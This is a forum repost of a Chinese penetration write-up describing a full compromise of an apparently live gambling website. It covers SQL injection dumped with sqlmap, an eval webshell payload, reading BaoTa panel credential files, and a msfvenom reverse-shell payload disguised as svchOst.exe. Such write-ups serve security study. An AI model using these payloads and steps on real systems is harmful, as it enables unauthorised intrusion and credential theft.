安全矩阵

 找回密码
 立即注册
搜索
查看: 992|回复: 0

一次BC站点的GetShell过程

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-9-16 09:42:37 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-9-16 09:42 编辑


一次BC站点的GetShell过程
原文链接:一次BC站点的GetShell过程
雾晓安全 2022-09-16 08:00 发表于广东
以下文章来源于李白你好 ,作者李白鸭

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雾晓安全及文章作者不为此承担任何责任。

01 前言

bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限。

02 进入后台

首先先常规扫一波目录:
  1. dirsearch -u 'http://x.x.x.x:80/' -e php
复制代码
并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。
编辑
Github:
编辑
通过之前的扫描,可以获取到后台登陆地址。
编辑
访问可以看到登陆页面。
编辑
没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了, 首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php进行判断。
编辑
  1. <?php
  2. @session_start(); //后台登陆验证

  3. if(!isset($_SESSION["adminid"])){
  4.     unset($_SESSION["adminid"]);
  5.     unset($_SESSION["login_pwd"]);
  6.     unset($_SESSION["quanxian"]);
  7.     echo "<script>alert('login!!pass');</script>";
  8.     exit;
  9. }else{
  10.     include_once("../../include/mysqlio.php");
复制代码

那么最直接的思路,就是找到一个没有包含这个文件的地方。
  1. find ./ -name "*.php" |xargs grep <code>-L "login_check.php"</code>
复制代码
找到文件Get_Odds_1.php, 发现其中的$type参数直接拼接进SQL语句中,存在注入。
编辑
正常情况:
编辑
输入单引号,出错:
编辑
SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u参数是不行的,需要使用Burp抓包,保存数据包然后用-r参数。
  1. sqlmap -r sql.txt -D dsncly -T sys_admin --dump
复制代码

编辑

03 Getshell

进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。
黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数eval,file_put_contens、fwrite、fputs等。
可以看到这里写入的文件是php文件,且内容可以通过ta_msg参数进行控制,也没有过滤,只有简单的去除两边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。
构造
  1. payload:');eval($_POST[a]);var_dump(md5(1));//;
复制代码
最终写入到文件gp_db.php
成功GetShell

04 宝塔提权

通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。
不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。


​ 获取宝塔密码:
D:/BtSoft1/panel/data/default.pl
开放端口:
D:/BtSoft1/panel/data/port.pl
后台地址:
D:/BtSoft1/panel/data/admin_path.pl
获取账号:


通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/
编辑
登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site来绕过这个。
下面有两种思路进行提权:
1) 通过软件管理->已安装,删除禁用函数,来实现命令执行。
编辑
编辑

2) 通过宝塔自带的计划任务。
MSF生成木马
  1. msfvenom -p windows/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 5  LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv  -f exe > svchOst.exe
复制代码
放到C盘即可,然后添加shell计划任务
编辑
ipconfig /all 查看网络状态
编辑
简单查看下arp -a和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。

05 宝塔提权

本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。
文章来源:奇安信攻防社区(NoneSec)
原文地址:https://forum.butian.net/share/1225


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 16:31 , Processed in 0.014133 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表